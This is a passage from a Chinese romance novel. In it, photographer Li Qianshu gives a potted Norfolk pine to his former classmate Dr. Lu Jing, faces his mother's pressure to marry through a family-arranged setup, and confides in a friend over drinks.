市场摆出来的植物琳琅满目,种类齐全,大大小小都有。黎千树不太懂也分不清这些绿植的养护方法,他觉得自己可能养不来,只是跟着曲女士一排排看过去,又听旁边店家的介绍。 转了小半圈,曲女士最后挑了一盆龟背竹,两盆不一样的秋海棠,虎皮兰,雪莹常春藤,还有三个外形很可爱的小香薰,都快拿不下了,加起来是收获满满。 期间曲海春问他要不要也买两盆回去放着,看绿色能心情好,就摆在电脑旁边。 黎千树说算了吧。他的电脑旁已经有挺多东西了,不想再摆太多。 不过脑海里倒是想到一个人来。 毕竟有个人的桌面非常整洁干净,没有杂物,甚至什么摆设都没有,太冷气了。 于是他目光巡视了一圈,最后停下脚步,望着他钟意的这一个小盆栽,上面写着“南洋杉”。 很小一盆,被修剪成一个很好看很标准的形状。 黎千树问店家这个好养吗,店家说挺好养的,喜散光喜湿润,忌高温暴晒,平时记得浇水就行,很适合放在室内。 黎千树是被它漂亮的外貌吸引的,没怎么犹豫就买了下来,拿在手里看了又看,瞧着挺喜欢的。 曲海春笑他不是不买吗。 黎千树说:“挺好看的,送一盆给朋友。” 他特意让店家给打包严实好看一点,方便送人。因为是小盆栽,店家就直接装进一个大小还算合适、深度足够的方形纸袋,里面垫了一块承重的硬纸板,不会掉,也很好拿。 他说谢谢,从对方手里接过。 母子俩把买的盆栽装进后的后备箱里,回家去。 电梯里碰到邻居常阿姨,也是上楼,她惊讶道:“海春,买这么多盆栽呢?” 曲海春说给家里好好装扮下,摆些绿植看着舒服。 “挺好的,这绿色瞧着可真有生气,是在哪儿买的啊?” “就春河路那个花鸟市场,叫什么来着,在我手机里呢,我回去发你。” “下次你还去的话,叫上我呗。” “可以啊,我今天是买的多,才叫我儿子一起的,开车能方便点。” 常阿姨又转头跟有些日子没见到黎千树打招呼,“千树,好久没见你回来啦。” 黎千树礼礼貌貌地喊了声“常阿姨”。 “哎?之前你妈妈说在给你安排相亲来着,结果怎么样啊?” 黎千树笑意尴尬了下,“没遇到合适的。” 常阿姨惋惜道:“那也正常,现在相亲市场也挺混乱,什么人都有,信息都有造假的,这合适的确实不好找,也不用太着急了,慢慢找。” 她又对曲海春说,“也可能是姻缘没动,还没到时候呢。” 曲海春跟她笑着点点头,“哎”了声,也很礼貌,但也没过多提及这个话题。 出了电梯,黎千树帮他妈妈把盆栽都放回家里,曲海春还在想摆哪里好看,眼见黎千树又准备出门了,她赶紧叫住他:“小树去哪儿啊,不在家里吃饭啦?” “我把盆栽给朋友送过去。” “这么急?吃完饭了再送也行啊。” “反正也没事。” 曲海春没拦着他,就说:“那记得回来吃饭啊,我早上买了你爱吃的菜。” “知道啦。”黎千树答应着,又说谢谢妈妈。 黎千树拿着车钥匙出门,一路开到医院去,坐在车里先给陆璟拨了个电话。 那头响了两声很快被接起:“喂?” 黎千树手心搭在方向盘上,指尖动了动,他带着笑音问:“陆医生,现在忙吗?“ “不忙的话,下来取个东西。” “顺便,见见面。” 15.15 陆璟挂了电话下楼,出办公室,乘电梯,出电梯,再走到黎千树所在的位置,花了七分钟。 这七分钟里,他的心一直有点跳。 电梯时不时会停,他头一次在方正的空间里感到焦急的情绪。 遇到心外科的同事,对方在电梯里跟他打招呼、聊起话来,陆璟难得的心不在焉,回复简短。 一直到出了大楼,他走到黎千树面前,黎千树站在金色暖阳下冲他笑了笑,“很快嘛。” 陆璟却想说很慢,很漫长。 “给。”黎千树将袋子递给他。 “什么?” 陆璟接过,视线往纸袋里探,是个小盆栽。 “今天陪我妈去了趟花鸟市场,逛了一圈,给你选了个这个。好像是叫什么南洋杉。” 陆璟问:“怎么会想到买这个?” “你的桌子太空了,摆个小盆栽很合适,绿色也对眼睛好。” 黎千树说着也上前一步,往袋子里又留恋地看了眼他挑的这颗小盆栽,“我一眼就相中它了。” “嗯?”陆璟饶有兴致地给出反应。 他垂着眼,视线落在黎千树低着头毛茸茸的脑袋上。 阳光下头顶的发色映照得愈发的浅,蒙着淡淡的光圈,看起来很柔顺,很想让人摸一摸。 “你不觉得,它像一棵长得很标准的小树吗?” 黎千树说话的时候不经意仰了头,也许是没有注意到两个人的距离已经很近。他抬头时,直直闯入陆璟望下来的温润眼神里。 两个人的脸上都落着明亮的光。 黎千树的瞳仁颜色被衬得有些发浅,他语气轻快,像小鹿一样,心情愉悦地跟面前这人展示自己挑中的特别的战利品。 很难不为之触动。 陆璟没有说话,默默对视了几秒,黎千树有点承受不住他这样的目光,脸上微微发起热来。他往后退了点距离,说:“反正,就挺好看的。” “嗯。”陆璟低低地应了声,又看了眼盆栽,很认真地赞同道:“很好看,你挑得好。” 他说谢谢。 黎千树问起关键问题:“你会养吗?” “不会。”陆璟倒是承认地坦然。 “我问老板了,他说好养,就放在室内,散光,不能暴晒,也不能太寒,春秋三四天浇一次水,夏天多补水,冬天可以频次降低,要是有枯枝黄叶修剪一下就可以,差不多是这样。” 黎千树贴心地将养护方法说了一遍。 陆璟一直盯着他看,等他说完,也仍然是在看他。 “怎么了?”黎千树莫名,被他盯得都要怀疑自己脸上有东西了。 “我记住了。” 陆璟说,“谢谢千树。” “不用,也不是什么值钱的东西,”黎千树笑了笑说,“陆医生不要把它养死了就行。” 陆璟弯弯嘴角,说:“我会认真养的,给你检查。” 黎千树倒是无所谓这个,反正他只是觉得好看想送给对方,现在已经送到陆璟手里,他便告别:“那我走了。” 陆璟问:“这就走吗?” 他看了眼时间,今天不太忙应该能顺利下班,他提议:“要不要一起吃个饭?” “今天恐怕不行陆医生,”黎千树实话实说道,“曲女士还等着我回去呢。” 陆璟表示理解地点点头,“那下次。” “好,走了。” 黎千树没过多停留,回到自己的车上。 陆璟退了几步,让出距离,直到看着他开车离开才转身上楼去。 盆栽的重量并不算重,但拎着很有存在感。 陆璟带到办公室去,路上碰到两位跟他打招呼的护士,叫完陆医生之后,又不免低头看他手里拎着的东西,眼神带着探寻,很是好奇他拎的什么东西。 纸袋挺深的,那棵小杉不高,都藏在里面,不太看得出来。 陆璟放回自己的桌面,又放轻动作小心地取出来,防止盆栽被弄坏。 淡米色半圆磨砂花盆,上面铺着细小的白色石颗粒,南洋杉还是绿色的,被修剪得齐整。 陆璟对着它看了又看,想到黎千树语气明快地介绍“它很像一棵标准的小树”,眉眼渐渐染上笑意。 的确很像,是一棵形状完美甚至无可挑剔的小树。 小小的树干直得挺拔,枝叶也是层次分明。 他真的很会挑。 凑近一点还能闻到只属于杉木身上的那种淡淡清香,陆璟忽然觉得有点像黎千树带来的感觉。 陆璟将盆栽挪了挪,放到自己的电脑旁,在他随时都可以看见的范围内。 - 黎千树回去的时候路过花店带了一束花,还打包了一份小区楼下的熟食。那家店开很多年了,印象里老板还是一位黑不溜秋的中年人,今天换了个年轻人站在那里,跟以前的老板有几分相像。黎千树猜测是老板儿子。 只有两个人吃,黎千树没有买太多。 回家的时候曲海春不在客厅,黎千树把花放在铺了碎花布的餐桌上,也跟着进厨房。 他找了个盘子将熟食装起来,曲海春在备菜,听到他的动静扭头看,说已经有菜了还买。黎千树回她只买了一点,不多,又问,楼下那家熟食店是换人了吗,以前的老板没在。 “早换了,那老板身体不好,现在都是他儿子接手了。” 黎千树点点头。想时间过得真快。 他给曲海春打下手,帮忙洗菜,剥蒜。 “你回来挺快的。” “嗯,给了就回来了,又不干啥。” 曲海春开着水洗鲫鱼,把表面里面都冲洗干净,顺口接话:“那你朋友住得挺近。” “没有,他还在上班。” 曲海春一顿,不禁瞥他一眼:“人上班你忙着给他干什么呀,打扰人家工作。” 黎千树默默剥蒜,想了想回她一句:“没忙。” “在哪儿上班呢?” “医院。” 曲海春正用厨房纸巾给鲫鱼一下下地吸水,吸完一张再抽一张,闻言又是顿住,实在想不起来黎千树还有在医院的朋友。医院这地方,曲海春也不怎么喜欢。 “你还有医院的朋友?没听你提过。” “是以前的一个高中同学。”黎千树将剥完的蒜洗好放到台面上,又问他妈妈:“还有要帮忙的吗?” “没了,你出去吧,我现在要煎鱼。” 黎千树应了声“好”,准备出去的时候,又在门口扭头,看曲海春低着脑袋,还在摆弄那条鱼,她的右手无名指几十年如一日地戴着那只银戒指。 他说:“妈妈,我给你买了一束花。” 曲海春抬头看向他,有些意外,随即又去洗了一遍手,擦干,带着笑意出去。 她拿起放在餐桌上的那束花,因为知道曲海春会拆下来插进花瓶,所以黎千树没让花店老板包得太正式。虽然包装简单,但不妨碍花好看。 是黄玫瑰。 曲海春最喜欢的花。 她闭着眼睛闻了闻,嘴角是上扬的,然后轻哼着歌,开始打理起这些花来。 黎千树没打扰她,注意到客厅的绿植已经好好地摆上了。曲海春收拾出了一个木质置物架,上面摆着新买的盆栽,放在电视柜旁边,书房也搁了一盆。 有了绿色,有午后照进来的夕阳光,房子也莫名变得很有生机。 黎千树绕着这个熟悉的房子转了圈,两室一厅,外加一个不算大的书房。自己的房 间还是原来那样,没什么变化,应该是曲海春经常开窗通风,所以空气并不沉闷陈旧。 目光扫过书桌上的一家人的合照,相框看起来还是很新的,几乎没落什么灰尘。 客厅玄关口的柜子上也放了他们的合照,是以前出去玩的时候拍的,照片上三个人的笑容都很明朗,就是那天太阳太大,眼睛都快睁不开了。 黎千树抬抬唇角,又轻轻放回去。 吃饭的时候,餐桌上的白色花瓶就插着那束黄色玫瑰,新鲜饱满。 曲海春跟他聊天,黎千树顺着她答应几声,他的手机放在了沙发上,没看。跟家人吃饭的时候是不看手机的,他们家里一直都是这个习惯。 剩了两个菜没吃完,套上保鲜袋放进冰箱。 黎千树帮忙给曲女生清碗筷。 水声哗哗地开着,曲海春絮絮叨叨地说起前阵子又碰到了谁谁,就是你爸爸以前关系很好的那个同事,你喊叔叔,说到他们家的近况,他儿子又怎么怎么样了。 黎千树“嗯嗯”地应着,把盘子拿到水底下冲干净,又擦干,叠在一起装进橱柜里面去。实际倒没听进去多少,左耳进右耳出了,他不太关心别人家的事。 做完这些,黎千树又洗了串葡萄,边洗边往嘴里喂了一颗,特别甜。他觉得现在市场上的葡萄都甜得有些发腻,吃不了多少。 “……我看行,你呢?” 曲海春一边擦着手,一边问他意见。 “嗯?”黎千树咬着葡萄回忆她刚刚说了什么,好像是吃饭吧,他含糊地应了声“可以啊”,又把这些葡萄放进果盘递到曲海春面前,给她尝尝。 黎千树坐在沙发上看手机消息,倪文倩问陆医生那个小盆栽是不是他送的,在哪里买的啊。 黎千树回过去,说是在一个花鸟市场里挑的,又问:【你怎么猜到是我啊?】 倪:【那还用猜?看他那个样就知道了。】 黎千树不知道看他那个样是哪个样,难道陆医生有表现出什么特别吗。 倪:【小黎摄影师,下次可以帮我带一盆吗?我给你跑路费。】 黎:【最近应该不过去啦,我把那个市场的地址发给你吧。】 黎:【/定位】 倪:【好滴好滴,谢谢啊,那有空的时候我去逛逛。】 倪:【你是在哪家买的啊,我好喜欢你挑的这个,很可爱啊!我也要一个这种的!】 黎:【那可能得多选选,当时只有这一棵最好看了。说不定你去的时候又有新的了,反正款式多,可以慢慢挑。】 倪:【好吧,我以为都长得差不多呢。】 倪:【你选的这个最好看。】 黎:【有很多啦!】 黎千树回了个笑笑的表情包,聊完退出页面,点进了朋友圈。 今天大半天都没看,黎千树顺着更新的动态往下滑,看到熟悉的人就顺手点个赞。 刷到一半,他动作不由得顿了顿。 八百年不主动更新一条动态的陆医生,今天倒是分享了一张图片。 黎千树不用点开大图就能看到照片里是他送的那棵小南洋杉。 陆璟配文只有两个字:「小树。」 看时间,是陆医生回科室之后,没多久就发的动态。 他拍照也透着一股正经气质,像在拍小南洋杉的证件照,端端正正地立在桌面,旁边没有杂物,画面干净而板正。 小树。 这个简单的词在黎千树的嘴里辗转,他也无声地念了念。 虽然知道是指代盆栽,但不知道为什么,黎千树觉得好像在念着自己一样。 只是看着这条动态,他耳畔就莫名有点发热。黎千树默默倒进沙发里,握着手机没忍住弯了弯唇。 16.16 黎千树还是找了个时间约着跟陶瑜见了一面,然后同他说清楚。 虽然直接说实话显得有些残忍,但黎千树并不想在感情的事情上模棱两可。 好在陶瑜来的时候已经做好了心理准备,所以全程没有表现出太难过。他问黎千树最近还在相亲吗,黎千树说没有。 陶瑜点头,又酸溜溜地问:“他是你相亲认识的?” 黎千树说不是。 “是高中同学。” 这话一说出来,陶瑜就觉得自己确实没戏了。高中同学啊,那可是人生中最少年最春心懵懂的时候相遇的,说不定还有点旧情缘在,跟他不能比。 黎千树不知道对方在琢磨什么,他正在看手机,因为那会儿陆璟发了条消息过来。 对方拍了张盆栽的照片发给黎千树,小南洋杉上还有点湿漉漉的,沁着晶亮的水光。 陆:【图片】 陆:【今天浇水了。】 黎:【看起来状态不错。】 陆:【嗯。】 陆璟回了这个字之后没再发新的消息来,陆医生是有事说事的性格,不会闲聊别的内容。 这点上,黎千树已经习惯。 黎:【陆医生,你喜欢喝咖啡吗?我给你带一杯?】 陆:【在咖啡店?】 黎:【嗯,这家还可以的。】 陆:【你自己吗?】 黎:【不是的,还有一个人。】 黎千树慢慢打字说:【就是你之前来工作室见到过的那个男生。】 “你以前喜欢他吗?”陶瑜问。 黎千树顿了下,放下手机看向面前的人,有些意外他会问这个,随即又很快否认道:“没有,那个时候没想法。” 陶瑜就用一种“那怎么现在有想法了”的眼神看他,黎千树难以解释,人是会变的。人的审美与感兴趣的点也是会变的。 现在的陆璟所呈现出来的那种气质,以及与他待在一起的舒适感,是黎千树喜欢的。 不过,反过来说,高中的陆璟对他的想法呢。 黎千树不知道,印象中那个时候两人所有的交集都是在班级上,那半年时间的同桌。他想高中的陆璟应该也是不喜欢他的,只是有一份同学情谊在。 毕竟那会儿陆璟一门心思都在学习上,不会分心想这些事。 “那你俩现在是……谈了吗?” 黎千树也摇头。 还没有。 说实话,虽然现在两个人处于一种相对暧昧的状态里,但他其实也拿不准陆璟的心思。 陆医生是一个非常有分寸感的人,能把距离拿捏得很好,有时近,有时远。当然这也和他的工作有关系,有时候忙,有时候会没那么忙。 陆璟没有向他表现出太明显的喜欢,作为一名出色的成年人,他的各种情绪实在隐藏得太好,不动声色,又游刃有余。 虽然黎千树一直在尝试着靠近他,但总觉得还是有些一层看不清的透明隔膜在。 就像现在,陆璟给他回复:【谢谢,不用,我现在不想喝咖啡。】 拒绝的意味明显。 所以他不确定陆璟现在对自己有没有那种确切的动心。 虽然他撩人的手段是挺一般的,毫无技巧,但不管怎么说……总而言之,陆医生不是那么好撩的。 黎千树抿了口面前的咖啡,还是决定顺其自然,慢慢来。 跟陶瑜喝完咖啡,黎千树回去继续工作,晚上收到了陆医生主动发来的邀约:【要不要去看电影?】 黎千树看着这几个字,眼睛微微睁大,他反问回去,怎么想到要看电影了。 陆:【想把上次的补上。】 黎千树其实觉得也不用,虽然上次的电影没约成,但他们后来去看了摄影展,他也很喜欢。 既然对方主动提了,陆医生有这个想法,他也乐意,于是欣然答应下来:【好啊。】 两人约在了星期六下午,陆璟直接买好了电影票。 黎千树放下手机,诧异地问:“明天?” “是啊,之前不是跟你提过吗,你贺叔叔一家想跟我们吃个饭,你答应了的,又忘记了?” 黎千树对吃饭这个事是有点印象,但是明天是周六啊。 曲海春从自己衣柜里翻出两条半身裙一条长裙,依次对着镜子比了比,问:“小树,哪条裙子好看点?来给妈妈搭一下。” 黎千树一边给她找上衣搭配,一边不解地问:“吃个饭而已,要很正式吗?” “是呀,很久没见了,不得留个好印象?”曲海春说着不轻不重地拍他一下,“你也穿好看点。” 我也要吗。 黎千树在心里默默应了句,没吱声,又心不在焉地问:“不能后天?” “你明天有事啊?”曲海春察觉出他的意思。 黎千树说约了个朋友,也是下午。 “啊……”曲海春也想了想,眉心轻轻拢起来,为难道:“但是你贺叔叔已经提前订好餐厅了,都安排好了……要不你,跟你朋友说一声,改个时间怎么样?” 贺叔叔,也就是贺振林,是他爸黎大钧读书时候的同学,之后又在同个单位共事,两家关系一直很好。 黎千树小时候经常去他家玩,印象中贺叔叔人很不错,慈眉善目,对他总是笑呵呵的,很有耐心。 后来贺振林工作调动,离得远了些,才走动没那么频繁。 当初家里有事,贺振林也是不遗余力地帮忙,这份恩情,黎千树也记在心里。 这次提出要吃个饭聚一聚,黎千树还是得在场。 只是他想到陆璟,已经约好去看电影,这回又爽约,实在有些过意不去。 他站在阳台给陆璟打电话说了这件事,陆璟那边语气淡定地回应着:“嗯,没关系,跟长辈吃饭比较重要。” “真的不好意思,陆医生。” “没事,以后还有时间。” 黎千树应了声“嗯”,情绪淡淡的,他不喜欢爽约,这样显得自己很没有诚信。 “可能…这部电影跟我们没有缘分。”陆璟带着轻浅的笑意说。 两次都是选的这部电影,都没有看成。 黎千树也不免笑笑:“下次我们换个电影。” “好。” 话音轻松了起来,黎千树的心里负担减轻不少,他好奇地问:“陆医生,为什么你的情绪总是这么稳定呢,对方改变计划没有赴约的话,你不会失落吗?” 陆璟那边沉默下来,不知道是想到了什么,过了好一会儿才说:“其实也会,但要分情况。” “怎么说?” “如果提前告知就不会产生情绪,就像你现在告诉我明天有别的事情,我能理解,所以觉得没关系。” 黎千树想,这好像是陆医生一次性跟他说最长的一句话了。 “毕竟以后的时间还有很多。”陆璟说。 黎千树觉得陆医生说这话很中听,他心里的那份抱歉的情绪被全然消解,此刻变得很放松,不禁问:“你是说我们吗?” “嗯,”陆璟低声重复,“我们。” 黎千树耳朵微热。 “但是我不一样,陆医生。”他说。 “嗯?” “上次我约你看电影,那天应该是休息日,你说没有时间。其实我还是有一点点情绪的。” 黎千树没有藏着自己的想法,就这样直接坦诚地告诉了对方。 “抱歉千树,”陆璟在那头说,“那天真的很不巧,我需要替同事值班。” “嗯,我现在知道了。” “你不开心,应该早一点跟我说。” 黎千树低头摩挲着阳台边缘的棱角,回答:“也没有不开心,就是当时会有点失落,现在我没有什么情绪,只是想告诉你一下。” “我很高兴你现在告诉我,”陆璟认真道,“千树,我想知道你的情绪,你的想法。” 他的话音淡淡的,却很柔和,散在寒凉的夜里,带来几分暖意。 黎千树轻轻笑了下,正想接话,屋里曲海春在喊他,他只好说:“我要挂了,陆医生,下次再聊。” “好。” - 黎千树跟曲海春按照约好的时间抵达餐厅,进到包厢的时候,贺振林和程婉清已经提前等在里面了。 很久没见,两位还是从前那般模样,瞧着平易近人。黎千树进门就礼貌喊人,一声贺叔叔,一声程阿姨。 两位长辈笑着起身来迎接他们,揽着人招呼他们坐下。 “等很久了吧。”曲海春寒暄道。 “没有,我们也刚到不久呢,”程婉清跟她关系近,这会儿挨着坐在一起,手搭着彼此,“海春你还是这么漂亮,气 色看起来真好。” 曲海春笑笑:“老了老了,你看我这不化着妆呢吗。” “哪里的话……” 她俩寒暄起来。 贺振林把菜单拿给黎千树,说:“来,千树,看看想吃什么?点上。” “谢谢叔叔。” 黎千树也没客气,拿过菜单便翻着看,碰到很想吃的菜就点一份。 曲海春疑惑道:“不等小贺了吗?” “他啊,有点事耽搁了晚点过来,不用等,我们先点。” 贺承勋是贺叔叔和程阿姨的儿子,比黎千树大两岁,黎千树小时候就叫他哥。但这么多年过去了,也生份不少,很少见面。 他翻着菜单想,难怪进门时没见到对方的身影,还以为他不来了。 他点好了,又把菜单还给贺振林。 “真是很久没见了千树,听你妈妈说,现在在做摄影?”程婉清主动跟他搭话。 黎千树点头,“是,帮品牌拍拍照什么的。” “时间比较自由吗?” “嗯,不忙的时候休息时间会多一点。” “那还挺好的。” 贺振林本来话也不多,程婉清问起黎千树的一些近况,他就坐在一旁听着,跟着点点头,偶尔也问上几句,都表示出黎千树的关心。 菜慢慢开始上齐。 黎千树坐在三位长辈之间,话倒是没停过。 正打算开始吃的时候,外面人进来,黎千树抬头,见贺承勋风尘仆仆地赶过来,先是表示歉意,随后向曲阿姨问好,又看向黎千树,眉眼闪过一丝诧异:“千树,好久不见。” 黎千树也冲他笑了笑,喊了声“承勋哥”。 贺承勋弯了嘴角,落座。 曲海春不禁对着他看,说小贺还是跟以前一样帅气,又问起现在在做什么? 贺承勋说目前在一家药企上班。 大家说起这两年的变化,以及从前的事情,很有话题聊,笑声也没断过。 黎千树一边回着他们的话,一边吃着东西。总体来说氛围还算放松,他跟贺承勋寒暄着说话,没有表现得太拘谨。 “我想起小时候千树来我们家玩,最喜欢跟着在他承勋后面跑了,做什么都是承勋哥哥承勋哥哥,可黏人了……走的时候舍不得,还要拉着承勋说你等我下次过来玩。” “是啊,他是喜欢跟小贺玩。” “千树你自己还有印象吗?”程婉清笑着问他。 说起这些陈年往事,黎千树也是脸皮一薄,禁不起回忆,他不好意思道:“有,程阿姨,那都是小时候的事了。” 程婉清就笑,感慨着说:“是啊,没想到一晃眼,你们都已经长这么大了。” “这几年你们很少联系,都有自己的事情忙,关系是没有以前好了,”贺振林接过话茬,“但是呢,我们两家的情谊还是在的。一直以来,我和你程阿姨都是你把当做自家人看待,只是后来我工作调动,没能一直留在这边……” 贺振林话音顿了顿。 “我知道,贺叔叔。” “千树,其实我们这次吃饭……也是有个事想跟你说。” 黎千树坐正了身子,正式道:“叔叔您说。” 包厢一时静下来,像都在等着这一刻。 贺振林目光一转,瞥了眼自家儿子,又看回黎千树,缓缓开口道:“千树,我知道你妈妈最近一直很操心你成家的事情,虽然相了亲,但都没有遇到合适的。” 黎千树没想到会谈及这个话题,但没说话,仍然等贺叔叔继续说完。 “现在喜欢男孩子也不是什么稀奇事,我们观念也都还算开放,小贺呢,正好跟你的取向一样,他年纪比你大两岁,也是一直没有合适的人……” 程婉清温和地接话:“你们两个都是我们看着长大的,也知根知底,我们作为长辈呢,就是想说,既然年纪合适,看有没有那个缘分,能……试试?” 黎千树一时不知道作何反应,不知道为什么,选择先看向了他妈妈。 但曲海春并没有表现出太惊讶,显然是知道这个环节,她也跟着劝道:“千树……你觉得怎么样?” 安静的包厢里,落针可闻。 黎千树在长辈殷切期待的注视下,开始感觉到了一种不可名状的压力,几乎是倾倒而来。 他有些透不过气。 17.17 有一瞬间,黎千树感觉包厢缝隙里渗出水来,源源不断地渗出水来。 那些水开始漫过他的身体,堵住他的呼吸。 他说不出话来。 黎千树手心微微收紧,在有些窒息的空间里暗自稳了稳自己的呼吸,没有表现出慌乱,努力始终维持镇定。 他说:“叔叔阿姨,你们这太突然了,我都没有心理准备。” 又说:“这个事我没什么想法,我还得想想。” “是,是,我知道,我们只是提一下,具体怎么样,还得看你们年轻人自己……” “对的千树,我们也不勉强,只是想让你们俩能多接触一下,看看两家有没有那个缘分。” 贺振林和程婉清一人一句打着圆场,话里话外又有劝解的意思,看似不是真的强迫。 黎千树也有几分无奈,目光又同对面的贺承勋对上,他倒是看着镇定,一直没什么表示,也不看出想法。 到底不能拂了长辈的面子,黎千树全程都维持着该有的礼貌,但后面换了话题说了什么,又聊了什么,他已经没心思去回想了。 回去的路上,黎千树开着车一句话也没说。 曲海春或许看出他状态不对,进了屋,曲海春才说:“小树,你是不是不喜欢小贺,没事的,我们跟老贺说一声就行,不是真的要勉强你……” 黎千树给自己倒了一杯水喝,他感到有些心累,所以打断了她的话,问:“妈妈,你为什么不提前告诉我?” 他的语气说不上好,曲海春也有点愣神,“告不告诉都一样啊,反正都是要见面的。” “你得让我有个准备啊。” “准备什么呀,”曲海春在沙发上坐下,“我要是提前告诉你,你会愿意去吗?” “我……” 黎千树一时语塞,手心将玻璃杯握紧了点。 “妈妈之前让你去见的那些相亲对象,都不怎么好,所以这段时间我也没要你去了,只是正好你贺叔叔家里情况跟我们差不多,才有了这个提议,我们不是逼你啊。”曲海春语重心长地说。 黎千树心口闷着,好像被堵了一样难受,不禁反问:“不是在逼我?” “妈,你真的就这么想我结婚吗?” 黎千树站在曲海春的侧后方,曲海春的背影坐在沙发上,倔强地挺直,没有看他。 “小树,你年纪不小了,迟早要结婚的。” 黎千树缓和着语气问她:“就算是这样,妈妈,你为什么要这么着急?” “我怎么能不急呢?小树,你从小就很受欢迎,不是没人喜欢,就算你喜欢男生我也愿意接受,但是这么多年,你连个对象都没有,给你介绍的人也都不合适,我能不急吗?” 曲海春说:“我有时候不知道你在想什么,小树,你想拖到什么时候?” “我没有拖,”黎千树为自己解释道,“我想慢慢来,不行吗?” “但是你的慢慢来,要等到什么时候?以后你再认识新的人、恋爱、结婚,这个流程又要走上几年?小树,我已经不年轻了,身体更是一年不如一年,如果我不给你安排相亲,你还想等到多少岁才会去考虑这个事情?三十岁?四十岁?” 在这件事情上,曲海春一反常态地强硬。 黎千树不懂为什么在这个话题上一定经历这些谈话,好像三十岁是一个见不得人的数字,人们必须在这个数字来临之前抓紧完成一些具有决定性意义的事情,包括成家、立业,甚至是生子,否则就会被抛在所有人身后不被选择。 有那么重要吗? 但黎千树不想把争吵闹得太大,只是说:“你安排的我不是都去了吗?” 曲海春这个时候转过头来看他:“那你自己说,你是真心愿意去的吗?” 黎千树没有否认,这是事实。他不喜欢见那些相亲对象,让自己处于一个被审视被评估的客体。 但因为这是曲海春安排的,他也愿意表示出配合。 “我就算不愿意,你也还是会给我安排不是吗,”黎千树看向她,“就像今天。” “我也没有办法,小树,你贺叔叔的家庭已经是一个很好的选择了,他们家里条件你也不是不知道,两个长辈又很喜欢你……” “妈,”黎千树闭了闭眼,无奈说,“我现在不想听这些。” 曲海春沉默一瞬,也垂了视线,良久,才无可奈何地说:“就算是你爸爸在,他也是希望你能成家,有个伴侣陪在身边,能幸福圆满。” 黎千树没有说话。 或许应该说,这几年,他们已经很少再谈论起黎大钧了。 这是头一次,曲海春以这样的方式谈及他爸爸,她的爱人。 却是为了让他能结个婚,成个家。 黎千树将手中紧握的水杯放回去,碰出一声响,落在客厅。 不经意地,他望见了那张放在一旁的三人合照。 照片里黎大钧咧着嘴笑,曲海春被他搂着,也是一脸幸福的笑意。 幸福要怎么定义? 他结婚了,也一定能像他们这样幸福温馨吗? 现在的黎千树不知道。 他思绪很乱,回过头,看到他妈妈仍旧坐在那张沙发里,手心抚着额头,灯光下映出单薄的身形轮廓。 她抹了下眼睛,恍惚间,黎千树瞥见几根银丝藏在她的碎发底下。 他妈妈一直有固定染发的习惯,她讨厌白发和皱纹,但不可避免,这些会生长的痕迹没办法真正隐藏。 曲海春没有再说话,黎千树也不知道该如何开口,心头泛起苦涩,他重新拿上钥匙,说:“我回去了妈妈,你早点休息。” 黎千树没有听到她给出的回应,他沉默地带上了门。 黎千树没有回家,不知道为什么,他今天就是不太想回去,忽然有点想喝酒,所以他把安琪叫了出来。 安琪是他现有好友圈里最喜欢喝酒的人。 等安琪到的时候,发现黎千树已经喝上了。 他随便选了家小酒馆。整个酒吧氛围还算安静,复古装修,暖黄的灯光铺开,带有几分柔和,台上有人抱着吉他在唱舒缓的民谣。 黎千树坐在下面,桌上已经空了两瓶酒。 “怎么自己就喝上了。”安琪落座,她脸上还化着精致的妆,是刚从一个没有结束的聚会上过来。 黎千树看她:“不好意思啊把你叫过来。” “说什么呢。” 黎千树不是多爱喝酒的性格,甚至酒量也说不上多好,今天晚上突然约她一起喝酒,明显是有事,所以安琪二话不说就赶了过来。这会儿他兴致阑珊,神情寡淡,瞧着心情不怎么好,她就知道自己猜对了。 “怎么了,谁惹我们大摄影师不高兴了?”她碰碰身边的人,问他。 黎千树往杯子里倒酒。 “失恋啦?”安琪猜道。 黎千树笑了下,“我哪有恋可失。” 说完他又敛了神色,“是我妈的原因。” “啊,”安琪愣愣地应了声,立刻就知道怎么回事了,“阿姨又在催婚啦?” 黎千树点点头。 “长辈到了年纪都会这样。” 黎千树问她:“你家里会催你吗?” “说倒是说过几次,但是我时不时会谈恋爱,他们也都希望我能稳定下来,不要总是分手分手的,反正我都当耳旁风,不管不听就是了。” 安琪说着看向他,“但是你一直不谈恋爱,没有那个苗头,我想阿姨也是没办法,只能催婚了。” “不过阿姨也确实有点太着急了,这种事哪有那么快,你都还算配合的,催多了谁也受不了。” 黎千树一边听安琪说话,一边默默喝酒。 “我也不知道我是什么想法,”他缓缓开口,“可能是受以前家庭氛围的影响,其实我并不反感结婚,但是这样相亲让我觉得很累,我不想跟不了解、也不喜欢的人在一起。” “理解的,结婚当然是要跟喜欢的人一起,不然日子怎么过下去。”安琪看他喝得有点急,好心提醒:“你慢点喝,别真醉了,先吃点东西。” 黎千树轻笑:“喝酒不是为了醉吗。” 安琪眼眸一眯,伸出食指在他眼前摇了摇,不赞同道:“当然不是了,酒是慢慢喝的,微醺最好。” 黎千树听她这会儿说得冠冕堂皇,其实她醉的次数也不在少。以前他跟齐彬还去酒吧接人。 但黎千树还是吃了点桌上的小吃。 安琪来之前,他已经喝了不少,这会儿边聊天边喝酒,后劲渐渐上来,脸上泛起了热意,黎千树自己能感觉到。安琪继续跟他说着话,黎千树也还算清醒地应答着,理智还在。 “哎,那你跟那个陆医生,现在怎么样了?”安琪忽然想到这个人。 黎千树眨了眨眼睛,缓慢应了句还可以吧。 “他本来今天想约我看电影,但是我要跟长辈吃饭,就没约成,改下次再约。” “那挺好的啊,你们可以这样继续下去,慢慢来呗。” 慢慢来。 这三个字又让黎千树想到曲女士说的话,慢慢来,从接触到恋爱,又要等什么时候才能走到结婚那一步? 她应该是等不起,才会一直催。 黎千树扯了扯嘴角。 “陆医生是一个……”黎千树撑着脑袋一边想一边说,“很有距离感的人。” “好像很难靠近,又好像可以接近。” “有时候我分不清他到底是想跟我再近一步,还是就维持现状。” 黎千树喃喃自语。 安琪听他这个语气,怀疑他已经有点醉了。一看,桌上已经空了好几个瓶子,对他这个酒量而来,的确很容易醉。 黎千树靠在座椅里,眼眶因为喝酒而有些发热,眼神微微发散。 “但是曲女士等不起。” 他的话题一会儿一个样,索性安琪就慢慢听他说。 但他说完这句话,又没有再开口了。 黎千树闭着眼, 脑海里跳跃出很多从前家里的画面,热闹的,欢声笑语的,安静平和的,但从黎大钧走了以后,家里便不再那么吵闹温馨了。 好长一段时间里,曲海春都不怎么说话。黎千树知道她只是没有缓过来。也是后面,才慢慢好起来。 黎千树想到她的皱纹与白发,体质开始下降的身体,与她对自己的期望。 